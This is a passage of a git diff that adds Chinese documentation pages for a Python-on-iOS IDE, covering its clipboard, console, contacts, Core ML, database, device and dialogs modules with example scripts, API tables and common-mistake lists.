set_text(text)兼容别名,同 set()
+

#读写

+

get() — 获取当前剪贴板文本,无内容时返回空字符串。

+

set(text) — 将字符串写入系统剪贴板,会覆盖当前内容。

+
+
+ python +
+
+
import clipboard
+
+clipboard.set("要复制的链接")
+value = clipboard.get()
+
+

clear() — 清空剪贴板(内部写入空字符串)。

+
+
+ python +
+
+
clipboard.clear()
+
+

#Pythonista 兼容别名

+
别名等价于
get_text()get()
set_text(text)set(text)
+

旧脚本可直接迁移,无需改调用名。

+
+

#常见错误

+
错误写法后果修正
启动时自动 set静默覆盖用户剪贴板只在用户点击后写入
用剪贴板存 token易被其他 App 读到使用 keychain
复制后无反馈用户不知道是否成功更新 State 状态文案
缓存剪贴板旧值其他 App 改写后仍用旧数据每次粘贴重新 get()
+
+

#相关文档

+
文档用途
keychain安全保存 token / 密码
storage长期保存非敏感配置
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/console-module/index.html b/docs/docs/pages/console-module/index.html new file mode 100644 index 0000000..ce86ec3 --- /dev/null +++ b/docs/docs/pages/console-module/index.html @@ -0,0 +1,432 @@ + + + + + + console - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

console

+

原生弹窗、HUD 和控制台样式。

+
+ +
+

控制台与原生弹窗:阻塞式 alert / input_alert、HUD 提示、控制台颜色与链接(Pythonista 兼容 API)。

+
边界:弹窗 API 阻塞调用线程直到用户操作;在 AppUI 中应放在按钮回调。set_color / clear 作用于脚本控制台输出,不是 SwiftUI 界面样式。
+

#模块概览

+
说明
导入import console
适合做什么快速确认、输入一行文字、登录框、HUD 反馈
调用时机弹窗放在按钮回调;勿在 body() 自动弹出
推荐顺序需要输入 → input_alert;仅确认 → alert
取消用户点取消抛 KeyboardInterrupt
+
+

#快速开始

+
+
+ python +
+
+
import console
+
+choice = console.alert("确认", "确定删除这条记录吗?", button1="删除", button2="取消")
+if choice == 1:
+    print("已确认删除")
+
+name = console.input_alert("输入", "你的名字", input_text="")
+console.hud_alert("已保存", icon="checkmark", duration=1.5)
+
+

控制台样式:

+
+
+ python +
+
+
import console
+
+console.set_color(0.2, 0.6, 1.0)
+print("蓝色文字")
+console.set_color()  # 重置
+console.write_link("Python 官网", "https://www.python.org")
+
+
+

#AppUI 示例

+

弹窗与 HUD 放在按钮回调。

+
+
+ python +
+
+
import appui
+import console
+
+state = appui.State(
+    last_input="—",
+    last_choice="—",
+    status="点击按钮体验",
+)
+
+
+def show_alert():
+    try:
+        idx = console.alert(
+            "确认操作",
+            "这是一个原生 alert 示例",
+            button1="好的",
+            button2="算了",
+        )
+        state.last_choice = f"按钮 {idx}"
+        state.status = "alert 已关闭"
+    except KeyboardInterrupt:
+        state.status = "用户取消"
+
+
+def show_input():
+    try:
+        text = console.input_alert("输入", "说点什么", input_text="Hello")
+        state.last_input = text
+        state.status = "input 已完成"
+        console.hud_alert("收到", duration=1.2)
+    except KeyboardInterrupt:
+        state.status = "输入已取消"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("弹窗", [
+                appui.Button("显示 Alert", action=show_alert)
+                .button_style("bordered_prominent"),
+                appui.Button("显示 Input", action=show_input),
+            ]),
+            appui.Section("结果", [
+                appui.LabeledContent("Alert", value=state.last_choice),
+                appui.LabeledContent("Input", value=state.last_input),
+                appui.Text(state.status).foreground_color("secondaryLabel"),
+            ]),
+        ]).navigation_title("控制台弹窗")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
alert(title, message, *, button1='OK', ...)多按钮弹窗 → 1-based 索引
input_alert(title, message, input_text='', ...)带输入框 → str
login_alert(...)用户名+密码 → (user, password)
password_alert(...)密码框 → str
hud_alert(message, icon='', duration=1.5)短暂 HUD 提示
set_color(r, g, b) / set_font(name, size)控制台样式
clear()清空控制台
write_link(title, url)输出可点击链接
+

#alert

+
+
+ python +
+
+
idx = console.alert("标题", "正文", button1="确定", button2="取消")
+# 1 | 2 | 3;取消抛 KeyboardInterrupt
+
+

#input_alert / login_alert / password_alert

+
+
+ python +
+
+
text = console.input_alert("输入", ok_button_title="完成")
+user, pw = console.login_alert("登录")
+secret = console.password_alert("密码")
+
+

原生能力入口不可用时回退到终端 input()

+
+

#常见错误

+
错误写法后果修正
body()alert每次刷新弹窗放进按钮回调
忽略 KeyboardInterrupt取消时崩溃try/except KeyboardInterrupt
console 做 AppUI 布局API 不匹配appui 组件
主线程长阻塞界面假死弹窗本身会阻塞,避免嵌套多层
+
+

#相关文档

+
文档用途
dialogs另一套原生对话框 API
appui声明式界面
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/contacts-module/index.html b/docs/docs/pages/contacts-module/index.html new file mode 100644 index 0000000..0f8d8a9 --- /dev/null +++ b/docs/docs/pages/contacts-module/index.html @@ -0,0 +1,505 @@ + + + + + + contacts - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

contacts

+

联系人读取、编辑、选择器和 vCard 导入导出。

+
+ +
+

访问系统通讯录:权限、读取、搜索、编辑、分组、系统选择器与 vCard 导入导出。

+
边界:联系人属于敏感数据。默认只读当前功能需要的字段和数量;列表页用 limit/offset;修改后需 save() 提交。token 等凭据不要用通讯录存,请用 keychain
+

#模块概览

+
说明
导入import contacts
适合做什么选人、搜索联系人、展示卡片、创建/编辑联系人
调用时机读取和选择器放在按钮回调;不要首屏批量读取
推荐顺序is_authorizedrequest_access → 读取/选择 → 修改后 save()
编辑事务add_person 等改动需 save() 落盘;失败时 revert()
+
+

#快速开始

+

下面脚本申请权限,读取前 10 个联系人并搜索名字:

+
+
+ python +
+
+
import contacts
+
+if not contacts.is_authorized():
+    contacts.request_access()
+
+if not contacts.is_authorized():
+    print("通讯录未授权")
+else:
+    people = contacts.get_all_people(limit=10)
+    for person in people:
+        name = getattr(person, "full_name", "") or "未命名"
+        print(person.identifier, name)
+
+    matches = contacts.find("张")
+    print("搜索到", len(matches), "个匹配")
+
+
+

#AppUI 示例

+

读取和系统选择器都放在按钮回调;列表不加载头像和 vCard。

+
+
+ python +
+
+
import appui
+import contacts
+
+state = appui.State(
+    status="等待操作",
+    selected="—",
+    people=[],
+)
+
+
+def person_key(person):
+    return person["id"]
+
+
+def person_row(person):
+    return appui.VStack([
+        appui.Text(person["name"]),
+        appui.Text(person["phone"]).font("caption").foreground_color("secondaryLabel"),
+    ], spacing=2)
+
+
+def load_people():
+    if not contacts.is_authorized():
+        contacts.request_access()
+    if not contacts.is_authorized():
+        state.batch_update(status="未授权", people=[], selected="—")
+        return
+
+    rows = []
+    for person in contacts.get_all_people(limit=20):
+        phones = getattr(person, "phone_numbers", []) or []
+        phone = phones[0] if phones else "—"
+        rows.append({
+            "id": person.identifier or str(person.id),
+            "name": (
+                getattr(person, "full_name", "")
+                or getattr(person, "organization", "")
+                or "未命名联系人"
+            ),
+            "phone": str(phone),
+        })
+    state.batch_update(
+        status=f"已读取 {len(rows)} 个联系人",
+        people=rows,
+    )
+
+
+def pick_one():
+    if not contacts.is_authorized():
+        contacts.request_access()
+    if not contacts.is_authorized():
+        state.status = "未授权,无法打开选择器"
+        return
+
+    picked = contacts.pick_contact()
+    if not picked:
+        state.status = "用户取消选择"
+        return
+    name = getattr(picked, "full_name", "") or "未命名联系人"
+    state.batch_update(
+        selected=name,
+        status="已通过系统选择器选中联系人",
+    )
+
+
+def body():
+    return appui.NavigationStack(
+        appui.List([
+            appui.Section("操作", [
+                appui.Button("读取联系人", action=load_people)
+                .button_style("bordered_prominent"),
+                appui.Button("系统选择器选人", action=pick_one),
+                appui.LabeledContent("状态", value=state.status),
+                appui.LabeledContent("已选", value=state.selected),
+            ]),
+            appui.Section("列表", [
+                appui.ForEach(state.people, row_builder=person_row, key=person_key),
+            ], footer="默认 limit=20,不含头像与 vCard。"),
+        ]).navigation_title("通讯录")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
is_authorized() / request_access()权限判断与申请
get_all_people(limit, offset)分页读取联系人
get_person(id, ...)读取单个联系人详情
find(name)按名字搜索
pick_contact()系统选择器选一人
add_person / save() / revert()编辑事务
export_vcards / import_vcardsvCard 导入导出
+

#权限

+
API说明
authorization_status()查询授权状态
is_authorized()是否可访问通讯录
request_access()申请权限
manage_limited_access()调整「有限访问」联系人
capabilities()当前设备/系统能力
+
+
+ python +
+
+
if not contacts.is_authorized():
+    contacts.request_access()
+
+

#读取与搜索

+

get_all_people(limit=100, offset=0) — 分页读取,列表页务必设 limit

+

get_person(person_or_id, include_image_data=False, include_vcard=False) — 读取详情;头像和 vCard 按需开启。

+
+
+ python +
+
+
people = contacts.get_all_people(limit=20, offset=0)
+person = contacts.get_person(people[0], include_image_data=False)
+matches = contacts.find("Ada")
+by_phone = contacts.find_by_phone("138")
+by_email = contacts.find_by_email("ada@example.com")
+
+

其他:get_me() 读取「我的名片」。

+

#编辑事务

+

修改不是立即落盘,需 save() 提交;失败时 revert() 回滚。

+
+
+ python +
+
+
person = contacts.new_person(seed={"given_name": "Ada", "family_name": "Lovelace"})
+contacts.add_person(person)
+try:
+    contacts.save()
+except Exception:
+    contacts.revert()
+    raise
+
+
API说明
new_person(seed=...)创建新联系人对象
add_person(person)加入待提交队列
remove_person(person)标记删除
edit_person(person, **kwargs)修改字段
save()提交到系统通讯录
revert()放弃待提交修改
+

分组与容器:get_all_groupsadd_groupget_people_in_groupget_all_containers 等。

+

#系统选择器

+

由用户主动选择,比无提示批量读取更稳妥:

+
+
+ python +
+
+
picked = contacts.pick_contact()
+if picked:
+    contacts.show_person(picked, allows_editing=False, allows_actions=True)
+
+multi = contacts.pick_contacts()
+prop = contacts.pick_property(kind="phone")
+
+

pick_contact() 返回 None 表示用户取消。

+

#vCard 与变更

+
+
+ python +
+
+
data = contacts.export_vcards([person])
+contacts.import_vcards(data)
+history = contacts.get_change_history(token=None)
+
+
+

#常见错误

+
错误写法后果修正
首屏读取全部联系人隐私体验差、可能很慢按钮触发 + limit
修改后忘记 save()变更未落盘成功路径调用 save()
保存失败继续用待提交对象状态不一致revert() 后重试
默认 include_image_data=True内存和隐私成本高只在头像页按需加载
+
+

#相关文档

+
文档用途
permission统一权限查询(Bridge 对 contacts 支持有限)
keychain保存 token,不用通讯录
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/coreml-module/index.html b/docs/docs/pages/coreml-module/index.html new file mode 100644 index 0000000..d478299 --- /dev/null +++ b/docs/docs/pages/coreml-module/index.html @@ -0,0 +1,441 @@ + + + + + + coreml - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

coreml

+

Core ML 模型加载、图片推理和模型信息读取。

+
+ +
+

Core ML 模型推理:列出内置模型、加载、对图片做分类预测。

+
边界:面向 App 内置的图像分类模型(如 MobileNetV2);不含自定义模型训练、模型转换。预测需要本地图片文件路径。
+

#模块概览

+
说明
导入import coreml
适合做什么图片分类、快速识别物体类别
调用时机load_model / predict_image 放在按钮回调
推荐顺序list_models()load_model(name)predict_image(model, path)
返回Top-5 预测列表,每项含 identifierconfidence
+
+

#快速开始

+

列出可用模型并对一张照片分类:

+
+
+ python +
+
+
import coreml
+
+print("可用模型:", coreml.list_models())
+model = coreml.load_model("MobileNetV2")
+print(coreml.model_info(model))
+
+results = coreml.predict_image(model, "/path/to/photo.jpg")
+for item in results[:3]:
+    print(item.get("identifier"), item.get("confidence"))
+
+
+

#AppUI 示例

+

先用 photos 选图,再预测;结果展示在界面上。

+
+
+ python +
+
+
import appui
+import coreml
+import photos
+
+state = appui.State(
+    models="—",
+    status="尚未预测",
+    top_label="—",
+)
+
+
+def refresh_models():
+    names = coreml.list_models() or []
+    state.models = ", ".join(names[:3]) + ("…" if len(names) > 3 else "")
+
+
+def predict_selected():
+    refresh_models()
+    names = coreml.list_models() or []
+    if not names:
+        state.status = "无可用模型"
+        return
+
+    image = photos.pick_image()
+    if not image:
+        state.status = "未选择图片"
+        return
+
+    import os
+    path = os.path.join(os.path.expanduser("~/Documents"), "coreml-pick.jpg")
+    image.save(path, format="JPEG")
+
+    model = coreml.load_model(names[0])
+    results = coreml.predict_image(model, path) or []
+    if not results:
+        state.batch_update(status="预测失败", top_label="—")
+        return
+
+    best = results[0]
+    state.batch_update(
+        status=f"共 {len(results)} 条结果",
+        top_label=f"{best.get('identifier')} ({best.get('confidence', 0):.2f})",
+    )
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("预测", [
+                appui.Button("选图并分类", action=predict_selected)
+                .button_style("bordered_prominent"),
+            ]),
+            appui.Section("状态", [
+                appui.LabeledContent("模型", value=state.models),
+                appui.LabeledContent("结果", value=state.status),
+                appui.LabeledContent("Top-1", value=state.top_label),
+            ]),
+        ]).navigation_title("Core ML")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
list_models()可用模型名列表
load_model(name)加载模型,返回句柄
predict_image(model, image_path)图片分类 → Top-5 列表
model_info(model)模型元数据字典
+

#加载与预测

+
+
+ python +
+
+
model = coreml.load_model("MobileNetV2")
+info = coreml.model_info(model)
+results = coreml.predict_image(model, "/path/photo.jpg")
+# [{"identifier": "...", "confidence": 0.92}, ...]
+
+

模型句柄为 _ModelHandle,可用 model.name 查看名称。加载失败抛 FileNotFoundError;原生能力入口不可用抛 RuntimeError

+
+

#常见错误

+
错误写法后果修正
图片路径不存在预测失败先用 photos.pick_image() 获取有效路径
模型名拼写错误FileNotFoundErrorlist_models() 确认名称
body() 里自动预测每次刷新重复推理放进按钮回调
期望 OCR 或条码能力不匹配visionvision_helper
+
+

#相关文档

+
文档用途
photos选图获取路径
vision_helperVision 框架检测与分类
c_extensions未内置深度学习包的替代路线
+

#图片推理配方

+
+
+ python +
+
+
import appui
+import coreml
+
+
+def body():
+    return appui.Form([
+        appui.Section("Core ML", [
+            appui.Text("选择模型后在回调中调用 coreml.predict_image"),
+        ])
+    ])
+
+

预期效果:打开 AppUI 表单页,后续在按钮回调中加载模型并展示预测结果。

+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/database-module/index.html b/docs/docs/pages/database-module/index.html new file mode 100644 index 0000000..e12e1a8 --- /dev/null +++ b/docs/docs/pages/database-module/index.html @@ -0,0 +1,480 @@ + + + + + + database - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

database

+

MiniApp 作用域内 SQLite 数据库和 JSON collection。

+
+ +
+

MiniApp 作用域内的原生 SQLite 持久化:可查询的历史、收藏、缓存与业务表。

+
边界:数据库文件自动放在当前 MiniApp 数据目录,并由宿主原生 SQLite 桥管理连接、statement 生命周期和事务。小型开关/主题用 storage;token/密码用 keychain。只传文件名(如 "media"),不要传绝对路径或 ../;MiniApp 不要直接 import sqlite3
+

#模块概览

+
说明
导入import database
适合做什么播放历史、收藏、离线缓存、可排序列表、业务表
两条路径大多数场景用 collection();需要索引/JOIN 用 open() + SQL
调用时机启动时读取、按钮回调写入;长任务结束可 close()
安全写入SQL 用 ? 参数绑定,不要拼接用户输入
+
+

#快速开始

+

下面脚本用 Collection API 写入并列出收藏:

+
+
+ python +
+
+
import database
+
+favorites = database.collection("favorites")
+
+favorites.upsert("movie-1", {"title": "示例电影", "rating": 9.2})
+print(favorites.get("movie-1"))
+print(favorites.count())
+
+for item in favorites.list(order_by="updated_at desc", limit=10):
+    print(item["title"], item["rating"])
+
+
+

#AppUI 示例

+

用 Collection 管理列表示例数据;按钮触发增删查。

+
+
+ python +
+
+
import appui
+import database
+
+favorites = database.collection("demo_favorites")
+
+state = appui.State(
+    status="等待操作",
+    count="0",
+    items=[],
+)
+
+
+def item_key(row):
+    return row["id"]
+
+
+def item_row(row):
+    return appui.HStack([
+        appui.Text(row["title"]),
+        appui.Spacer(),
+        appui.Text(row["rating"]).foreground_color("secondaryLabel"),
+    ])
+
+
+def refresh_list():
+    rows = []
+    for entry in favorites.items(order_by="updated_at desc", limit=10):
+        value = entry.get("value") or {}
+        rows.append({
+            "id": entry["key"],
+            "title": value.get("title", entry["key"]),
+            "rating": f"⭐ {value.get('rating', '—')}",
+        })
+    state.batch_update(
+        status=f"共 {favorites.count()} 条记录",
+        count=str(favorites.count()),
+        items=rows,
+    )
+
+
+def add_sample():
+    key = f"item-{favorites.count() + 1}"
+    favorites.upsert(key, {"title": f"示例 {key}", "rating": 8.5})
+    refresh_list()
+
+
+def clear_all():
+    favorites.clear()
+    refresh_list()
+    state.status = "已清空 collection"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.List([
+            appui.Section("操作", [
+                appui.Button("添加示例", action=add_sample)
+                .button_style("bordered_prominent"),
+                appui.Button("刷新列表", action=refresh_list),
+                appui.Button("清空", action=clear_all, role="destructive"),
+                appui.LabeledContent("状态", value=state.status),
+            ]),
+            appui.Section("列表", [
+                appui.ForEach(state.items, row_builder=item_row, key=item_key),
+            ], footer=f"当前 {state.count} 条 · collection: demo_favorites"),
+        ]).navigation_title("数据库")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
collection(name)默认库中的 JSON 文档集合(推荐)
open(name) / connect(name)打开 MiniApp 作用域 SQLite
database_path(name)调试用的数据库绝对路径
close_default_database() / close_all()关闭默认库或当前进程打开的库
Collection.upsert/get/delete增删改查 JSON 记录
Collection.items/list排序分页列表
Database.execute/query/transaction原生 SQL 操作
+

#选型

+
目标首选 API
收藏、历史、缓存、源列表database.collection(name)
索引、JOIN、迁移、事务database.open(name) + SQL
少量开关、主题storage
token、密码keychain
+

#Collection API

+

大多数 MiniApp 的首选,底层 SQLite 存 JSON 文档:

+
+
+ python +
+
+
import database
+
+history = database.collection("history")
+history.upsert("ep-42", {"id": "ep-42", "title": "第 42 集", "position": 128.5})
+row = history.get("ep-42")
+items = history.list(order_by="updated_at desc", limit=20)
+history.delete("ep-42")
+history.clear()
+n = history.count()
+
+
API说明
upsert(key, value)插入或更新 JSON
get(key, default=None)读取;不存在返回 default
delete(key)删除一条
clear()清空当前 collection
count()记录数
items(order_by, limit, offset)key/value/时间戳
list(order_by, limit, offset)只返回 value 列表
migrate_from_storage(key, key_field="id")从 storage JSON 迁移
+

order_by 支持:updated_at desc/asccreated_at desc/asckey desc/asc

+

#SQL API

+

需要明确表结构时使用:

+
+
+ python +
+
+
import database
+
+db = database.open("media")
+db.executescript("""
+CREATE TABLE IF NOT EXISTS episodes (
+    id TEXT PRIMARY KEY,
+    title TEXT NOT NULL,
+    position REAL NOT NULL DEFAULT 0
+);
+""")
+
+with db.transaction():
+    db.execute(
+        "INSERT OR REPLACE INTO episodes(id, title, position) VALUES (?, ?, ?)",
+        ["ep-42", "第 42 集", 128.5],
+    )
+
+row = db.query_one("SELECT * FROM episodes WHERE id = ?", ["ep-42"])
+db.close()
+
+
API说明
execute(sql, params)执行 SQL,返回影响行数
query(sql, params)返回 list[dict]
query_one(sql, params, default)单行或默认值
scalar(sql, params, default)第一列标量
transaction()原子事务,异常回滚
user_versionschema 版本号(PRAGMA user_version
close()关闭当前连接
+

database.open("media") 自动变为 media.db,拒绝 ../ 和绝对路径。

+

#从 storage 迁移

+
+
+ python +
+
+
history = database.collection("history")
+count = history.migrate_from_storage("video.history", key_field="id", remove=True)
+print("已迁移", count, "条")
+
+
+

#常见错误

+
错误写法后果修正
大列表塞进 storage慢、难查询collection()
token 写进 SQLite不安全keychain
open("../data.db")路径被拒绝只传 "media" 等文件名
直接 import sqlite3真机可能崩溃或绕过宿主隔离import database
SQL 拼接用户输入注入风险? 参数绑定
长时间不 close()连接泄漏任务结束时关闭
+
+

#相关文档

+
文档用途
storage小型键值偏好
keychain敏感凭据
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/device-module/index.html b/docs/docs/pages/device-module/index.html new file mode 100644 index 0000000..c4dff30 --- /dev/null +++ b/docs/docs/pages/device-module/index.html @@ -0,0 +1,465 @@ + + + + + + device - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

device

+

设备、屏幕、电池和系统状态。

+
+ +
+

读取当前 iPhone/iPad 的设备、系统、屏幕、电池、内存、温度、区域和语言信息。

+
边界:用于界面适配、环境诊断和状态展示。identifier_for_vendor() 不是登录或支付凭据;改亮度要有明确用户动作。
+

#模块概览

+
说明
导入import device
适合做什么设备信息页、布局适配、电量/低电量模式判断、诊断面板
调用时机放在按钮回调或启动时读一次;不要写在 AppUI body() 里反复调用
推荐顺序用户点击刷新 → 读取 model / screen_size 等 → 写回 State
特殊值battery_level() 不可用时返回 -1.0,不要格式化成百分比
+
+

#快速开始

+

下面脚本打印设备型号、系统版本、屏幕和电量信息:

+
+
+ python +
+
+
import device
+
+print("设备:", device.name(), device.model())
+print("系统:", device.system_name(), device.system_version())
+width, height = device.screen_size()
+print(f"屏幕: {width:.0f}×{height:.0f}  scale={device.screen_scale()}")
+
+level = device.battery_level()
+if level < 0:
+    print("电量: 不可用")
+else:
+    print(f"电量: {level:.0%}  状态: {device.battery_state()}")
+
+print("热状态:", device.thermal_state())
+print("低电量模式:", device.is_low_power_mode())
+print("区域:", device.locale(), device.timezone())
+
+
+

#AppUI 示例

+

设备信息由按钮触发读取,结果写进 State;不要在 body() 里直接调用 device.*

+
+
+ python +
+
+
import appui
+import device
+
+state = appui.State(
+    model="—",
+    system="—",
+    screen="—",
+    battery="—",
+    battery_state="—",
+    thermal="—",
+    low_power="—",
+    message="点击按钮刷新",
+)
+
+
+def format_battery(level):
+    if level < 0:
+        return "不可用"
+    return f"{level:.0%}"
+
+
+def format_memory(bytes_value):
+    if bytes_value <= 0:
+        return "—"
+    gb = bytes_value / (1024 ** 3)
+    return f"{gb:.1f} GB"
+
+
+def refresh_device_info():
+    width, height = device.screen_size()
+    state.batch_update(
+        model=device.model(),
+        system=f"{device.system_name()} {device.system_version()}",
+        screen=f"{width:.0f}×{height:.0f} @ {device.screen_scale():.0f}x",
+        battery=format_battery(device.battery_level()),
+        battery_state=device.battery_state(),
+        thermal=device.thermal_state(),
+        low_power="是" if device.is_low_power_mode() else "否",
+        message=f"内存 {format_memory(device.total_memory())} · 运行 {device.system_uptime():.0f}s",
+    )
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("设备", [
+                appui.LabeledContent("型号", value=state.model),
+                appui.LabeledContent("系统", value=state.system),
+                appui.LabeledContent("屏幕", value=state.screen),
+            ]),
+            appui.Section("电源", [
+                appui.LabeledContent("电量", value=state.battery),
+                appui.LabeledContent("充电状态", value=state.battery_state),
+                appui.LabeledContent("低电量模式", value=state.low_power),
+                appui.LabeledContent("热状态", value=state.thermal),
+            ]),
+            appui.Section("操作", [
+                appui.Button("刷新设备信息", action=refresh_device_info)
+                .button_style("bordered_prominent"),
+                appui.Text(state.message).foreground_color("secondaryLabel"),
+            ]),
+        ]).navigation_title("设备信息")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
name() / model()设备名称 / 型号
system_name() / system_version()系统名称与版本
screen_size() / screen_scale()屏幕尺寸与 scale
battery_level() / battery_state()电量与充电状态
thermal_state() / is_low_power_mode()热状态与低电量模式
total_memory() / processor_count()物理内存与 CPU 核心数
screen_brightness() / set_screen_brightness(v)读取 / 设置亮度
locale() / timezone() / preferred_languages()区域、时区与语言
+

#设备与系统

+
API返回说明
name()str用户设置的设备名称
model()str设备型号标识
system_name()striOS
system_version()str系统版本号
identifier_for_vendor()str开发者维度设备 ID;重装可能变化
system_uptime()float开机以来秒数
orientation()str当前屏幕方向
+
+
+ python +
+
+
print(device.model(), device.system_version())
+print(device.identifier_for_vendor())
+
+

#屏幕与亮度

+
API返回说明
screen_width() / screen_height()float屏幕点数宽高
screen_size()tuple(width, height)
screen_scale()floatRetina scale
screen_brightness()float当前亮度 0.0–1.0
set_screen_brightness(value)None设置亮度,需用户动作触发
+
+
+ python +
+
+
width, height = device.screen_size()
+device.set_screen_brightness(0.6)  # 仅在按钮回调里调用
+
+

#电源与性能

+
API返回说明
battery_level()float0.0–1.0;不可用为 -1.0
battery_state()strunknown / unplugged / charging / full
thermal_state()strnominal / fair / serious / critical
is_low_power_mode()bool是否低电量模式
total_memory()int物理内存字节数
processor_count()intCPU 核心数
+
+
+ python +
+
+
level = device.battery_level()
+if level >= 0:
+    print(f"{level:.0%}", device.battery_state())
+if device.is_low_power_mode():
+    print("低电量模式,可降低刷新频率")
+
+

#区域与语言

+
API返回说明
locale()str当前区域标识
timezone()str时区
preferred_languages()list[str]用户首选语言列表
+
+
+ python +
+
+
print(device.locale(), device.timezone())
+print(device.preferred_languages())
+
+
+

#常见错误

+
错误写法后果修正
body() 里读 device.*每次刷新都重复调用放进按钮回调或启动时读一次
battery_level()-1.0 仍格式化成 %显示异常百分比显示「不可用」
脚本自动 set_screen_brightness改变用户设备体验仅在明确按钮动作里调用
identifier_for_vendor() 当登录凭据不安全、可能变化仅作设备区分,不作鉴权
+
+

#相关文档

+
文档用途
storage本地数据存储
permission系统权限状态
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/dialogs-module/index.html b/docs/docs/pages/dialogs-module/index.html new file mode 100644 index 0000000..b5df505 --- /dev/null +++ b/docs/docs/pages/dialogs-module/index.html @@ -0,0 +1,480 @@ + + + + + + dialogs - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

dialogs

+

原生对话框、表单和日期选择。

+
+ +
+

阻塞式原生对话框:确认、输入、列表选择、简单表单和日期选择。

+
边界:调用会阻塞脚本直到用户响应;取消时抛出 KeyboardInterrupt。适合短脚本临时交互;复杂页面、多步骤流程请用 AppUI Form / .sheet / .alert,不要在 AppUI 回调里连续弹多个阻塞对话框。
+

#模块概览

+
说明
导入import dialogs
适合做什么脚本开始前问一个值、危险操作确认、少量字段收集
调用时机放在明确动作后;AppUI 里仅在按钮回调中偶尔使用
推荐顺序try 调用 → 处理返回值 → except KeyboardInterrupt 处理取消
取消行为用户点取消会抛 KeyboardInterrupt,不是返回空值
+
+

#快速开始

+

下面脚本依次弹出输入框和列表选择:

+
+
+ python +
+
+
import dialogs
+
+try:
+    name = dialogs.input_alert("名称", placeholder="例如:Ada")
+    mode = dialogs.list_dialog("模式", ["快速", "精确"])
+    print(name, "→", mode)
+except KeyboardInterrupt:
+    print("用户取消")
+
+
+

#AppUI 示例

+

在按钮回调里触发对话框;用 try/except 处理取消,结果写回 State

+
+
+ python +
+
+
import appui
+import dialogs
+
+state = appui.State(
+    message="点击按钮体验对话框",
+    last_result="—",
+)
+
+
+def show_confirm():
+    try:
+        index = dialogs.alert(
+            "确认操作",
+            "这是一个演示对话框",
+            "继续",
+            "取消",
+        )
+        state.batch_update(
+            message="用户点了确认" if index == 1 else "用户选了其他按钮",
+            last_result=f"alert 返回 {index}",
+        )
+    except KeyboardInterrupt:
+        state.batch_update(message="用户取消", last_result="alert 已取消")
+
+
+def ask_name():
+    try:
+        name = dialogs.input_alert("你的名字", placeholder="请输入")
+        state.batch_update(
+            message=f"你好,{name}",
+            last_result=name,
+        )
+    except KeyboardInterrupt:
+        state.batch_update(message="输入已取消", last_result="—")
+
+
+def pick_color():
+    try:
+        color = dialogs.list_dialog("选择颜色", ["红色", "绿色", "蓝色"])
+        state.batch_update(
+            message=f"已选择 {color}",
+            last_result=color,
+        )
+    except KeyboardInterrupt:
+        state.batch_update(message="选择已取消", last_result="—")
+
+
+def show_hud():
+    dialogs.hud_alert("已保存!", duration=1.2)
+    state.message = "HUD 提示已显示"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("对话框", [
+                appui.Button("确认框", action=show_confirm)
+                .button_style("bordered_prominent"),
+                appui.Button("输入框", action=ask_name),
+                appui.Button("列表选择", action=pick_color),
+                appui.Button("HUD 提示", action=show_hud),
+            ]),
+            appui.Section("结果", [
+                appui.LabeledContent("状态", value=state.message),
+                appui.LabeledContent("返回值", value=state.last_result),
+            ]),
+        ]).navigation_title("对话框")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
alert(title, message, *buttons)确认框 → 按钮序号(1-based)
input_alert(title, ...)文本输入 → str
list_dialog(title, items, multiple=False)列表选择
form_dialog(title, fields)简单表单 → dict
date_dialog(title, mode="date")日期/时间选择 → ISO 字符串
hud_alert(message, duration=1.0)短暂 HUD 提示
+

#选择与确认

+

alert(title, message="", *button_titles, hide_cancel_button=False) — 原生确认框。

+
+
+ python +
+
+
if dialogs.alert("删除?", "不可撤销", "删除", "取消") == 1:
